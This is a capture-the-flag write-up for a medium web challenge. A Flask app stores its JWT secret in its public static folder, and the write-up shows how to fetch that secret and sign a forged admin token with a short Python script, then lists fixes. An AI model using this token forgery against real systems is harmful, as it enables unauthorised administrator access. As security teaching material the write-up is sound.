Logo
Overview

Executive Summary

Challenge: Stateless Auth CTF: Daily Alpacahack 2026 #25 Category: Web Exploitation Difficulty: Medium Flag: Alpaca{Br3w_your_own_4dmin_JWT}

Stateless Auth is a web challenge where the objective is to bypass authentication to access an admin dashboard. The application forbids direct login as “admin” but inadvertently exposes its JWT secret key via a public static file. We exploit this information disclosure to sign a forged JWT with administrator privileges, granting access to the flag.


Challenge Overview

We are provided with the source code for a Flask web application that uses JSON Web Tokens (JWT) for authentication. The goal is to access the /dashboard as the user admin to retrieve the flag. However, the login route explicitly forbids the username “admin”.

Source Code Analysis

Upon reviewing app.py, two critical pieces of logic stand out:

1. The “Admin” Block

The application prevents direct login as an administrator:

@app.post("/login")
def login():
username = request.form.get("username", "")
# ...
if username.lower() == "admin":
return render_template("login.html", error="admin is forbidden")

2. The Secret Storage Vulnerability

The application generates a random 32-byte hex string as the JWT secret key. However, it persists this key to the filesystem to survive restarts:

if not os.path.exists("static/jwt_secret.txt"):
JWT_SECRET = random.randbytes(32).hex()
with open("static/jwt_secret.txt", "w") as f:
f.write(JWT_SECRET)

The Flaw: The file is written to the static/ directory. In Flask, files in static/ are served publicly by default (usually for CSS, JS, and images). This means the secret key is publicly accessible.

Exploitation Steps

Step 1: Leak the Secret Key

Since we know the file path is static/jwt_secret.txt, we can request it directly via the browser or curl.

Request: GET /static/jwt_secret.txt HTTP/1.1

Response (Example): a1b2c3d4e5f6... (32 byte hex string)

Step 2: Forge the Admin Token

With the secret key in hand, we can bypass the login restriction. We need to create a JWT that claims our identity (sub) is admin. The server verifies the token using the secret we just stole, so the signature will be valid.

I used the following Python script to generate the forged token:

import jwt
import time
# 1. The secret retrieved from /static/jwt_secret.txt
LEAKED_SECRET = "PASTE_RETRIEVED_HEX_STRING_HERE"
# 2. Construct the payload with "sub": "admin"
payload = {
"sub": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 3600 # Valid for 1 hour
}
# 3. Sign the token
forged_token = jwt.encode(payload, LEAKED_SECRET, algorithm="HS256")
print(f"Forged Cookie: {forged_token}")

Step 3: Injection and Capture

  1. Navigate to the challenge website.
  2. Open Developer Tools (F12) -> Application -> Cookies.
  3. Replace the value of the token cookie with the Forged Cookie generated above.
  4. Refresh the page or navigate to /dashboard.
  5. The server decodes the token, sees sub: admin, and renders the flag.

Mitigation

To fix this vulnerability, the developer should:

  1. Never store secrets in the web root: Store sensitive files outside of the static directory.
  2. Use Environment Variables: Load JWT_SECRET from os.environ rather than a text file.
  3. Restrict File Permissions: Ensure configuration files are readable only by the application user, not the web server’s public interface.